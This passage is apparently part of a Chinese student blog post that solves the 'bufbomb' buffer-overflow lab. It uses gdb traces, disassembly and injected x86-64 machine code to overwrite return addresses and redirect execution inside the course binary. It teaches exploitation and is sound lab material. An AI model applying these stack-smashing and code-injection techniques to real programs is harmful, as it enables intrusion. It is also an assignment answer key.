class="number">1</span>),%<span class="literal">edi</span></div><div class="line">   <span class="number">0x0000000000400e05</span> &lt;+<span class="number">101</span>&gt;:   <span class="keyword">lea</span>    (%<span class="literal">r8</span>,%<span class="literal">rcx</span>,<span class="number">1</span>),%<span class="literal">rsi</span></div><div class="line">   <span class="number">0x0000000000400e09</span> &lt;+<span class="number">105</span>&gt;:   <span class="keyword">add</span>    <span class="number">$0</span>x1,%<span class="literal">rcx</span></div><div class="line">   <span class="number">0x0000000000400e0d</span> &lt;+<span class="number">109</span>&gt;:   <span class="keyword">cmp</span>    <span class="number">$0</span>x24,%<span class="literal">rcx</span></div><div class="line">   <span class="number">0x0000000000400e11</span> &lt;+<span class="number">113</span>&gt;:   <span class="keyword">mov</span>    %<span class="literal">dil</span>,(%<span class="literal">rsi</span>)</div><div class="line">   <span class="number">0x0000000000400e14</span> &lt;+<span class="number">116</span>&gt;:   <span class="keyword">jne</span>    <span class="number">0x400e00</span> &lt;getbuf+<span class="number">96</span>&gt;</div><div class="line">   <span class="number">0x0000000000400e16</span> &lt;+<span class="number">118</span>&gt;:   <span class="keyword">mov</span>    %<span class="literal">rdx</span>,%<span class="literal">rax</span></div><div class="line">   <span class="number">0x0000000000400e19</span> &lt;+<span class="number">121</span>&gt;:   leaveq </div><div class="line">   <span class="number">0x0000000000400e1a</span> &lt;+<span class="number">122</span>&gt;:   retq   </div><div class="line">End of assembler dump.</div></pre></td></tr></table></figure>


<p>我们直接就看<code>Gets</code>获取用户输入返回后的情况吧！</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div></pre></td><td class="code"><pre><div class="line">(gdb) b *getbuf+<span class="number">17</span></div><div class="line">Breakpoint <span class="number">2</span> <span class="preprocessor">at</span> <span class="number">0x400db1</span>: file bufbomb.c, line <span class="number">137</span>.</div><div class="line">(gdb) c</div><div class="line">Continuing.</div><div class="line"> </div><div class="line">Breakpoint <span class="number">2</span>, getbuf () <span class="preprocessor">at</span> bufbomb.c:<span class="number">137</span></div><div class="line"><span class="number">137</span>   variable_length = alloca((val % <span class="number">40</span>) &lt; <span class="number">36</span> ? <span class="number">36</span> : val % <span class="number">40</span>)<span class="comment">;</span></div><div class="line">(gdb) i r</div><div class="line"><span class="literal">rax</span>            <span class="number">0x7fffffffb8c0</span>   <span class="number">140737488337088</span></div><div class="line"><span class="literal">rbx</span>            <span class="number">0x497746be</span>   <span class="number">1232553662</span></div><div class="line"><span class="literal">rcx</span>            <span class="number">0x2e</span> <span class="number">46</span></div><div class="line"><span class="literal">rdx</span>            <span class="number">0x379e9b2af0</span> <span class="number">238884170480</span></div><div class="line"><span class="literal">rsi</span>            <span class="number">0xa</span>  <span class="number">10</span></div><div class="line"><span class="literal">rdi</span>            <span class="number">0x379e9b1340</span> <span class="number">238884164416</span></div><div class="line"><span class="literal">rbp</span>            <span class="number">0x7fffffffb8f0</span>   <span class="number">0x7fffffffb8f0</span></div><div class="line"><span class="literal">rsp</span>            <span class="number">0x7fffffffb8c0</span>   <span class="number">0x7fffffffb8c0</span></div><div class="line"><span class="literal">r8</span>             <span class="number">0x7ffff7fdc740</span>   <span class="number">140737353992000</span></div><div class="line"><span class="literal">r9</span>             <span class="number">0x0</span>  <span class="number">0</span></div><div class="line"><span class="literal">r10</span>            <span class="number">0x22</span> <span class="number">34</span></div><div class="line"><span class="literal">r11</span>            <span class="number">0x246</span>    <span class="number">582</span></div><div class="line"><span class="literal">r12</span>            <span class="number">0x607f80</span> <span class="number">6324096</span></div><div class="line"><span class="literal">r13</span>            <span class="number">0x7fffffffe6f0</span>   <span class="number">140737488348912</span></div><div class="line"><span class="literal">r14</span>            <span class="number">0x0</span>  <span class="number">0</span></div><div class="line"><span class="literal">r15</span>            <span class="number">0x0</span>  <span class="number">0</span></div><div class="line"><span class="literal">rip</span>            <span class="number">0x400db1</span> <span class="number">0x400db1</span> &lt;getbuf+<span class="number">17</span>&gt;</div><div class="line">eflags         <span class="number">0x246</span>    [ PF ZF IF ]</div><div class="line"><span class="literal">cs</span>             <span class="number">0x33</span> <span class="number">51</span></div><div class="line"><span class="literal">ss</span>             <span class="number">0x2b</span> <span class="number">43</span></div><div class="line"><span class="literal">ds</span>             <span class="number">0x0</span>  <span class="number">0</span></div><div class="line"><span class="literal">es</span>             <span class="number">0x0</span>  <span class="number">0</span></div><div class="line"><span class="literal">fs</span>             <span class="number">0x0</span>  <span class="number">0</span></div><div class="line"><span class="literal">gs</span>             <span class="number">0x0</span>  <span class="number">0</span></div></pre></td></tr></table></figure>


<p>可以看到目前的<code>%rsp</code>, <code>%rbp</code>的值，查看下我们的输入是不是被放进去了：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">(gdb) x /<span class="number">20x</span> $<span class="literal">rsp</span></div><div class="line"><span class="number">0x7fffffffb8c0</span>: <span class="number">0xaaaaaaaa</span>  <span class="number">0xaaaaaaaa</span>  <span class="number">0xaaaaaaaa</span>  <span class="number">0xaaaaaaaa</span></div><div class="line"><span class="number">0x7fffffffb8d0</span>: <span class="number">0x00607f00</span>  <span class="number">0x00000000</span>  <span class="number">0x9e2148e5</span>  <span class="number">0x00000037</span></div><div class="line"><span class="number">0x7fffffffb8e0</span>: <span class="number">0x00002c80</span>  <span class="number">0x00000000</span>  <span class="number">0x9e6ba477</span>  <span class="number">0x00000037</span></div><div class="line"><span class="number">0x7fffffffb8f0</span>: <span class="number">0xffffb920</span>  <span class="number">0x00007fff</span>  <span class="number">0x00400ef3</span>  <span class="number">0x00000000</span></div><div class="line"><span class="number">0x7fffffffb900</span>: <span class="number">0xffffb930</span>  <span class="number">0x00007fff</span>  <span class="number">0xdeadbeef</span>  <span class="number">0x00000000</span></div></pre></td></tr></table></figure>


<p>32个a有木有！再看<code>%rbp</code>在<code>0x7fffffffb8f0</code>，那后面<code>%rbp+8</code>那个位置就是return addr了吧！我们看看反编译的代码：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="input"><span class="prompt">objdump -d ./bufbomb &gt;</span> bufbomb.s</span></div><div class="line"> </div><div class="line">  <span class="number">400</span><span class="symbol">eee:</span>       e8 ad fe ff ff          callq  <span class="number">400</span>da<span class="number">0</span> &lt;getbuf&gt;</div><div class="line">  <span class="number">400</span><span class="symbol">ef3:</span>       <span class="number">48</span> <span class="number">83</span> f8 <span class="number">28</span>             cmp    <span class="variable">$0x28</span>,%rax</div></pre></td></tr></table></figure>


<p>果然如此啊！这道题的要求是跳转到<code>smoke</code>这个函数，同理在bufbomb.s里找一下：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">00000000004010c0 &lt;smoke&gt;:</div><div class="line">  4010c0:       <span class="number">48</span> <span class="number">83</span> ec <span class="number">08</span>             <span class="keyword">sub</span>    <span class="number">$0</span>x8,%<span class="literal">rsp</span></div><div class="line">  4010c4:       bf <span class="number">45</span> <span class="number">13</span> <span class="number">40</span> <span class="number">00</span>          <span class="keyword">mov</span>    <span class="number">$0</span>x401345,%<span class="literal">edi</span></div><div class="line">  4010c9:       c7 <span class="number">05</span> <span class="pseudo">dd</span> <span class="number">11</span> <span class="number">20</span> <span class="number">00</span> <span class="number">00</span>    movl   <span class="number">$0</span>x0,<span class="number">0x2011dd</span>(%<span class="literal">rip</span>)        # 6022b0 &lt;check_level&gt;</div><div class="line">  4010d0:       <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> </div><div class="line">  4010d3:       e8 <span class="number">08</span> f7 ff ff          callq  4007e0 &lt;puts@plt&gt;</div><div class="line">  4010d8:       <span class="number">31</span> ff                   <span class="keyword">xor</span>    %<span class="literal">edi</span>,%<span class="literal">edi</span></div><div class="line">  4010da:       e8 <span class="number">51</span> fd ff ff          callq  400e30 &lt;validate&gt;</div><div class="line">  4010df:       <span class="number">31</span> ff                   <span class="keyword">xor</span>    %<span class="literal">edi</span>,%<span class="literal">edi</span></div><div class="line">  4010e1:       e8 da f7 ff ff          callq  4008c0 &lt;exit@plt&gt;</div><div class="line">  4010e6:       <span class="number">66</span> 2e 0f 1f <span class="number">84</span> <span class="number">00</span> <span class="number">00</span>    nopw   %<span class="literal">cs</span>:<span class="number">0x0</span>(%<span class="literal">rax</span>,%<span class="literal">rax</span>,<span class="number">1</span>)</div><div class="line">  4010ed:       <span class="number">00</span> <span class="number">00</span> <span class="number">00</span></div></pre></td></tr></table></figure>


<p>所以只要改成<code>0x004010c0</code>就可以啦！前面56个字节任意，然后小心地填入 <code>c0 10 40 00</code> 作为最后四个字节，这关就过啦！</p>
<h3 id="fizz">fizz</h3>
<p>这一关跟上一关大同小异，换了一个函数<code>fizz</code>，多了个条件要传参数（用户id生成的cookie）进去！课上老师说过，x86-64前6个参数都是直接从寄存器传，之后才动用到stack上的地址，恩然后这个需要修改的参数正好是第七个。我们可以沿用上面的注入代码，只要改一下地址变成<code>fizz</code>的地址<code>0x00401070</code>：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div></pre></td><td class="code"><pre><div class="line">(gdb) b fizz</div><div class="line">(gdb) r -u <span class="number">4999723</span> &lt; exploit.bytes </div><div class="line">Starting program: /home/auser/course-materials/lab3/bufbomb -u <span class="number">4999723</span> &lt; exploit.bytes</div><div class="line"><span class="label">Username:</span> <span class="number">4999723</span></div><div class="line">ce</div><div class="line">e2</div><div class="line"><span class="number">32</span></div><div class="line"><span class="number">31</span></div><div class="line"><span class="number">3</span></div><div class="line">a5</div><div class="line"><span class="number">41</span></div><div class="line">1f</div><div class="line"><span class="label">Cookie:</span> <span class="number">0x1f41a5033132e2ce</span></div><div class="line"> </div><div class="line">Breakpoint <span class="number">2</span>, fizz (arg1=<span class="number">171</span>, arg2=-<span class="number">93</span> <span class="string">'\243'</span>, arg3=<span class="number">8</span>, arg4=<span class="number">0x24</span> &lt;Address <span class="number">0x24</span> <span class="keyword">out</span> of bounds&gt;, arg5=-<span class="number">18304</span>, arg6=<span class="number">0</span>, </div><div class="line">    val=<span class="number">3735928559</span>) <span class="preprocessor">at</span> bufbomb.c:<span class="number">73</span></div><div class="line"> </div><div class="line">(gdb) disas</div><div class="line">Dump of assembler code for function fizz:</div><div class="line">=&gt; <span class="number">0x0000000000401070</span> &lt;+<span class="number">0</span>&gt;: <span class="keyword">sub</span>    <span class="number">$0</span>x8,%<span class="literal">rsp</span></div><div class="line">   <span class="number">0x0000000000401074</span> &lt;+<span class="number">4</span>&gt;: movl   <span class="number">$0</span>x1,<span class="number">0x201232</span>(%<span class="literal">rip</span>)        # <span class="number">0x6022b0</span> &lt;check_level&gt;</div><div class="line">   <span class="number">0x000000000040107e</span> &lt;+<span class="number">14</span>&gt;:    <span class="keyword">mov</span>    <span class="number">0x10</span>(%<span class="literal">rsp</span>),%<span class="literal">rsi</span></div><div class="line">   <span class="number">0x0000000000401083</span> &lt;+<span class="number">19</span>&gt;:    <span class="keyword">cmp</span>    <span class="number">0x201296</span>(%<span class="literal">rip</span>),%<span class="literal">rsi</span>        # <span class="number">0x602320</span> &lt;cookie&gt;</div><div class="line">   <span class="number">0x000000000040108a</span> &lt;+<span class="number">26</span>&gt;:    <span class="keyword">je</span>     <span class="number">0x40109f</span> &lt;fizz+<span class="number">47</span>&gt;</div><div class="line">   <span class="number">0x000000000040108c</span> &lt;+<span class="number">28</span>&gt;:    <span class="keyword">mov</span>    <span class="number">$0</span>x4015b0,%<span class="literal">edi</span></div><div class="line">   <span class="number">0x0000000000401091</span> &lt;+<span class="number">33</span>&gt;:    <span class="keyword">xor</span>    %<span class="number">eax</span>,%<span class="number">eax</span></div><div class="line">   <span class="number">0x0000000000401093</span> &lt;+<span class="number">35</span>&gt;:    callq  <span class="number">0x4007f0</span> &lt;printf@plt&gt;</div><div class="line">   <span class="number">0x0000000000401098</span> &lt;+<span class="number">40</span>&gt;:    <span class="keyword">xor</span>    %<span class="literal">edi</span>,%<span class="literal">edi</span></div><div class="line">   <span class="number">0x000000000040109a</span> &lt;+<span class="number">42</span>&gt;:    callq  <span class="number">0x4008c0</span> &lt;exit@plt&gt;</div><div class="line">   <span class="number">0x000000000040109f</span> &lt;+<span class="number">47</span>&gt;:    <span class="keyword">mov</span>    <span class="number">$0</span>x401590,%<span class="literal">edi</span></div><div class="line">   <span class="number">0x00000000004010a4</span> &lt;+<span class="number">52</span>&gt;:    <span class="keyword">xor</span>    %<span class="number">eax</span>,%<span class="number">eax</span></div><div class="line">   <span class="number">0x00000000004010a6</span> &lt;+<span class="number">54</span>&gt;:    callq  <span class="number">0x4007f0</span> &lt;printf@plt&gt;</div><div class="line">   <span class="number">0x00000000004010ab</span> &lt;+<span class="number">59</span>&gt;:    <span class="keyword">mov</span>    <span class="number">$0</span>x1,%<span class="literal">edi</span></div><div class="line">   <span class="number">0x00000000004010b0</span> &lt;+<span class="number">64</span>&gt;:    callq  <span class="number">0x400e30</span> &lt;validate&gt;</div><div class="line">   <span class="number">0x00000000004010b5</span> &lt;+<span class="number">69</span>&gt;:    <span class="keyword">jmp</span>    <span class="number">0x401098</span> &lt;fizz+<span class="number">40</span>&gt;</div><div class="line">End of assembler dump.</div><div class="line"> </div><div class="line">(gdb) i r</div><div class="line"><span class="literal">rax</span>            <span class="number">0x8</span>  <span class="number">8</span></div><div class="line"><span class="literal">rbx</span>            <span class="number">0x497746be</span>   <span class="number">1232553662</span></div><div class="line"><span class="literal">rcx</span>            <span class="number">0x24</span> <span class="number">36</span></div><div class="line"><span class="literal">rdx</span>            <span class="number">0x8</span>  <span class="number">8</span></div><div class="line"><span class="literal">rsi</span>            <span class="number">0x7fffffffb8a3</span>   <span class="number">140737488337059</span></div><div class="line"><span class="literal">rdi</span>            <span class="number">0xab</span> <span class="number">171</span></div><div class="line"><span class="literal">rbp</span>            <span class="number">0xabababababababab</span>   <span class="number">0xabababababababab</span></div><div class="line"><span class="literal">rsp</span>            <span class="number">0x7fffffffb900</span>   <span class="number">0x7fffffffb900</span></div><div class="line"><span class="literal">r8</span>             <span class="number">0x7fffffffb880</span>   <span class="number">140737488337024</span></div><div class="line"><span class="literal">r9</span>             <span class="number">0x0</span>  <span class="number">0</span></div><div class="line"><span class="literal">r10</span>            <span class="number">0x22</span> <span class="number">34</span></div><div class="line"><span class="literal">r11</span>            <span class="number">0x246</span>    <span class="number">582</span></div><div class="line"><span class="literal">r12</span>            <span class="number">0x607f80</span> <span class="number">6324096</span></div><div class="line"><span class="literal">r13</span>            <span class="number">0x7fffffffe6f0</span>   <span class="number">140737488348912</span></div><div class="line"><span class="literal">r14</span>            <span class="number">0x0</span>  <span class="number">0</span></div><div class="line"><span class="literal">r15</span>            <span class="number">0x0</span>  <span class="number">0</span></div><div class="line"><span class="literal">rip</span>            <span class="number">0x401070</span> <span class="number">0x401070</span> &lt;fizz&gt;</div><div class="line">eflags         <span class="number">0x246</span>    [ PF ZF IF ]</div><div class="line"><span class="literal">cs</span>             <span class="number">0x33</span> <span class="number">51</span></div><div class="line"><span class="literal">ss</span>             <span class="number">0x2b</span> <span class="number">43</span></div><div class="line"><span class="literal">ds</span>             <span class="number">0x0</span>  <span class="number">0</span></div><div class="line"><span class="literal">es</span>             <span class="number">0x0</span>  <span class="number">0</span></div><div class="line"><span class="literal">fs</span>             <span class="number">0x0</span>  <span class="number">0</span></div><div class="line"><span class="literal">gs</span>             <span class="number">0x0</span>  <span class="number">0</span></div></pre></td></tr></table></figure>


<p>这里的关键点，先做<code>%rsp-8</code>，然后<code>mov    0x10(%rsp),%rsi</code>这里把<code>%rsp+0x10</code>的内容放到<code>%rsi</code>里，后面就是用这个值去跟cookie比较了！我们来看下正确的cookie是啥：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">(gdb) x /<span class="number">2x</span> <span class="number">0x602320</span></div><div class="line"><span class="number">0x602320</span> &lt;cookie&gt;:  <span class="number">0x3132e2ce</span>  <span class="number">0x1f41a503</span></div></pre></td></tr></table></figure>


<p>而我们传进去的cookie参数呢：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">(gdb) p /x <span class="variable">$rsi</span></div><div class="line"><span class="variable">$3</span> = <span class="number">0</span>xdeadbeef</div></pre></td></tr></table></figure>


<p>死去的牛肉……是不是有点眼熟？其实算一下也就知道它应该是<code>%rsp-0x08+0x10 = 0x7fffffffb908</code>，在上一题中我们已经看到那个位置存的就是deadbeef啦！然后就是修改注入信息，把它一直覆盖到正确的cookie值也被写入stack空间即可！</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">(gdb) p /x $<span class="literal">rsi</span></div><div class="line"><span class="number">$1</span> = <span class="number">0x1f41a5033132e2ce</span></div><div class="line">(gdb) x /<span class="number">2x</span> <span class="number">0x602320</span></div><div class="line"><span class="number">0x602320</span> &lt;cookie&gt;:  <span class="number">0x3132e2ce</span>  <span class="number">0x1f41a503</span></div><div class="line">(gdb) c</div><div class="line">Continuing.</div><div class="line">Type string: Fizz!: You called fizz(<span class="number">0x1f41a5033132e2ce</span>)</div></pre></td></tr></table></figure>


<p>帅气！</p>
<h3 id="bang">bang</h3>
<p>这关开始就不是简单的修改内容，而是要注入机器指令了！流程就是先进入<code>getbuf</code> -&gt; 修改return addr到stack上的地址 -&gt; 跑stack上你注入的machine code -&gt; 修改<code>global_value</code>后return到<code>bang</code>函数里去做验证。先看下我们之前的注入：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">(gdb) x /<span class="number">20x</span> $<span class="literal">rsp</span></div><div class="line"><span class="number">0x7fffffffb8c0</span>: <span class="number">0xaaaaaaaa</span>  <span class="number">0xaaaaaaaa</span>  <span class="number">0xaaaaaaaa</span>  <span class="number">0xaaaaaaaa</span></div><div class="line"><span class="number">0x7fffffffb8d0</span>: <span class="number">0x00607f00</span>  <span class="number">0x00000000</span>  <span class="number">0x9e2148e5</span>  <span class="number">0x00000037</span></div><div class="line"><span class="number">0x7fffffffb8e0</span>: <span class="number">0x00002c80</span>  <span class="number">0x00000000</span>  <span class="number">0x9e6ba477</span>  <span class="number">0x00000037</span></div><div class="line"><span class="number">0x7fffffffb8f0</span>: <span class="number">0xffffb920</span>  <span class="number">0x00007fff</span>  <span class="number">0x00400ef3</span>  <span class="number">0x00000000</span></div><div class="line"><span class="number">0x7fffffffb900</span>: <span class="number">0xffffb930</span>  <span class="number">0x00007fff</span>  <span class="number">0xdeadbeef</span>  <span class="number">0x00000000</span></div></pre></td></tr></table></figure>


<p>这里返回地址是<code>0x400ef3</code>，而我们需要它去执行stack上的代码，可以修改返回地址到<code>0x7fffffffb900</code>，然后从那里开始我们就要填入修改<code>global_value</code>的机器代码了！就这么来吧！先写汇编并生成机器码：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># as.s</span></div><div class="line">movq <span class="number">0x602320</span>,%rax      <span class="comment"># 正确Cookie所在的位置，放到%rax</span></div><div class="line">movq %rax,<span class="number">0x602308</span>      <span class="comment"># 再放到global_value所在地址</span></div><div class="line">pushq $<span class="number">0x401020</span>         <span class="comment"># 返回地址为bang函数的入口地址</span></div><div class="line">retq                    <span class="comment"># 返回！</span></div><div class="line"> </div><div class="line">gcc -c <span class="keyword">as</span>.s</div><div class="line">objdump -d <span class="keyword">as</span>.o &gt; <span class="keyword">as</span>.d</div><div class="line"> </div><div class="line"><span class="keyword">as</span>.o:     <span class="built_in">file</span> <span class="built_in">format</span> elf64-x86-<span class="number">64</span></div><div class="line"> </div><div class="line">Disassembly <span class="operator">of</span> section .<span class="keyword">text</span>:</div><div class="line"> </div><div class="line"><span class="number">0000000000000000</span> &lt;.<span class="keyword">text</span>&gt;:</div><div class="line">   <span class="number">0</span>:   <span class="number">48</span> <span class="number">8</span>b <span class="number">04</span> <span class="number">25</span> <span class="number">20</span> <span class="number">23</span> <span class="number">60</span>    mov    <span class="number">0x602320</span>,%rax</div><div class="line">   <span class="number">7</span>:   <span class="number">00</span> </div><div class="line">   <span class="number">8</span>:   <span class="number">48</span> <span class="number">89</span> <span class="number">04</span> <span class="number">25</span> <span class="number">08</span> <span class="number">23</span> <span class="number">60</span>    mov    %rax,<span class="number">0x602308</span></div><div class="line">   f:   <span class="number">00</span> </div><div class="line">  <span class="number">10</span>:   <span class="number">68</span> <span class="number">20</span> <span class="number">10</span> <span class="number">40</span> <span class="number">00</span>          pushq  $<span class="number">0x401020</span></div><div class="line">  <span class="number">15</span>:   c3                      retq</div></pre></td></tr></table></figure>


<p>然后把这段代码通过相同方法小心地放到目的地址……记得修改原来栈上的return addr。大功告成！</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">(gdb) c</div><div class="line">Continuing.</div><div class="line"><span class="keyword">Type</span> <span class="keyword">string</span>: Bang!: You <span class="keyword">set</span> global_value <span class="keyword">to</span> <span class="number">0</span>x1f41a5033132e2ce</div></pre></td></tr></table></figure>


<h3 id="dynamite">dynamite</h3>
<p>这关是附加题，在上一题的基础上加了个要求，就是在完成注入，修改完cookie后还要复原现场，返回原先调用<code>getbuf</code>的函数去。这关真是各种曲折，先修改前面那个<code>pushq</code>好让跑完我的注入代码后回到<code>test</code>函数（也就是getbuf的调用者）去，然后发现程序会去检查那个deadbeef还在不在，cookie是不是正确设置成了用户的cookie等。最直观的做法就是跳过原先存放<code>%rbp</code>还有那个deadbeef的位置再注入代码，在代码里修改<code>getbuf</code>返回值，然后再跳回<code>test</code>函数，的确可以通过。修改过的汇编如下：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="number">0000000000000000</span> &lt;.<span class="keyword">text</span>&gt;:</div><div class="line">   <span class="number">0</span>:   <span class="number">48</span> b8 ce e2 <span class="number">32</span> <span class="number">31</span> <span class="number">03</span>    movabs <span class="variable">$0</span>x1f41a5033132e2ce,<span class="variable">%rax</span></div><div class="line">   <span class="number">7</span>:   a5 <span class="number">41</span> <span class="number">1</span>f </div><div class="line">   a:   <span class="number">68</span> f3 <span class="number">0</span>e <span class="number">40</span> <span class="number">00</span>          pushq  <span class="variable">$0</span>x400ef3</div><div class="line">   f:   c3                      retq</div></pre></td></tr></table></figure>


<p>注入之后的内存情况：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line">(gdb) x /<span class="number">32x</span> $<span class="literal">rsp</span></div><div class="line"><span class="number">0x7fffffffb8c0</span>: <span class="number">0x00000000</span>  <span class="number">0x00000000</span>  <span class="number">0x00000000</span>  <span class="number">0x00000000</span></div><div class="line"><span class="number">0x7fffffffb8d0</span>: <span class="number">0x00000000</span>  <span class="number">0x00000000</span>  <span class="number">0x00000000</span>  <span class="number">0x00000000</span></div><div class="line"><span class="number">0x7fffffffb8e0</span>: <span class="number">0x00000000</span>  <span class="number">0x00000000</span>  <span class="number">0x00000000</span>  <span class="number">0x00000000</span></div><div class="line"><span class="number">0x7fffffffb8f0</span>: <span class="number">0xffffb920</span>  <span class="number">0x00007fff</span>  <span class="number">0xffffb930</span>  <span class="number">0x00007fff</span></div><div class="line"><span class="number">0x7fffffffb900</span>: <span class="number">0xffffb930</span>  <span class="number">0x00007fff</span>  <span class="number">0xdeadbeef</span>  <span class="number">0x00000000</span></div><div class="line"><span class="number">0x7fffffffb910</span>: <span class="number">0x199b0120</span>  <span class="number">0x00000037</span>  <span class="number">0x497746be</span>  <span class="number">0x00000000</span></div><div class="line"><span class="number">0x7fffffffb920</span>: <span class="number">0xffffe5e0</span>  <span class="number">0x00007fff</span>  <span class="number">0x00400fdd</span>  <span class="number">0x00000000</span></div><div class="line"><span class="number">0x7fffffffb930</span>: <span class="number">0xe2ceb848</span>  <span class="number">0xa5033132</span>  <span class="number">0xf3681f41</span>  <span class="number">0xc300400e</span></div></pre></td></tr></table></figure>


<p>注意上面我从<code>0x7fffffffb930</code>才开始放代码，<code>0x7fffffffb8f8</code>处的return addr也做了相应的修改。虽然本地通过了测试，但是提交后总是0分……于是我又去看bufbomb的源码：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">while</span> ((c = getopt(argc, argv, <span class="string">"gt:u:"</span>)) != -<span class="number">1</span>)</div><div class="line">      <span class="keyword">switch</span>(c) {</div><div class="line">      <span class="keyword">case</span> <span class="string">'g'</span>: <span class="comment">/* Hidden switch */</span></div><div class="line">        grade = <span class="number">1</span>;</div><div class="line">        quiet = <span class="number">1</span>;</div><div class="line">        alarm_time = <span class="number">1</span>; <span class="comment">/* Should get immediate response */</span></div><div class="line">        <span class="keyword">break</span>;</div></pre></td></tr></table></figure>


<p>难道是提交后打分用了-g参数？再试了下果然会有segmentation fault出现。难道是我注入的代码破坏了之前push进去的某些内容？然后我又试着在原来<code>0x7fffffffb900</code>的位置注入代码，在代码里把deadbeef搞回去：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="number">0000000000000000</span> &lt;.<span class="keyword">text</span>&gt;:</div><div class="line">   <span class="number">0</span>:   <span class="number">48</span> b8 ce e2 <span class="number">32</span> <span class="number">31</span> <span class="number">03</span>    movabs <span class="variable">$0</span>x1f41a5033132e2ce,<span class="variable">%rax</span></div><div class="line">   <span class="number">7</span>:   a5 <span class="number">41</span> <span class="number">1</span>f </div><div class="line">   a:   <span class="number">68</span> f3 <span class="number">0</span>e <span class="number">40</span> <span class="number">00</span>          pushq  <span class="variable">$0</span>x400ef3</div><div class="line">   f:   <span class="number">49</span> ba ef be ad de <span class="number">00</span>    movabs <span class="variable">$0</span>xdeadbeef,<span class="variable">%r10</span></div><div class="line">  <span class="number">16</span>:   <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> </div><div class="line">  <span class="number">19</span>:   <span class="number">4</span>c <span class="number">89</span> <span class="number">55</span> e8             mov    <span class="variable">%r10</span>,-<span class="number">0x18</span>(<span class="variable">%rbp</span>)</div><div class="line">  <span class="number">1</span>d:   c3                      retq</div></pre></td></tr></table></figure>


<p>跑了一下gdb，这下无论加还是不加-g都能通过了！</p>
